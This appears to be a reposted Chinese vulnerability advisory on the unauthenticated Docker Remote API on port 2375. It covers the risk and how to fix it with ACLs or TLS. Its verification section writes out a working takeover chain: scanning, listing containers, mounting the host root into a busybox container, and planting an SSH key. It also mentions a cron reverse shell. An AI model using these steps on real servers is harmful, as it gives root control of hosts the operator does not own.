0x01漏洞描述

Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。Docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。

在使用docker swarm的时候,管理的docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,其实这是 Docker Remote API,可以执行docker命令,比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成,

0x02 漏洞危害

Docker daemon api是使用url代替命令行来操作docker,docker swarm 是docker下的集群管理工具,在开放2375端口来监听集群容器时,会调用这个api,可以执行docker命令,root权限启动docker情况下可直接可以控制服务器。

0x03 漏洞验证

1、nmap探测开放的docker

nmap -p 2375 x.x.x.x 

2、使用-H参数连接目标主机的docker,使用ps命令查询目标系统运行的镜像。

docker -H tcp://x.x.x.x:2375 ps

3、使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。

docker -H tcp://1x.x.x.x:2375 run -it -v /:/mnt busybox chroot /mnt sh

4、在vps上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器

其他方式:利用定时任务反弹shell

0x04 修复建议

1、简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则;

2、修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

文章来源于腾讯云开发者社区,点击查看原文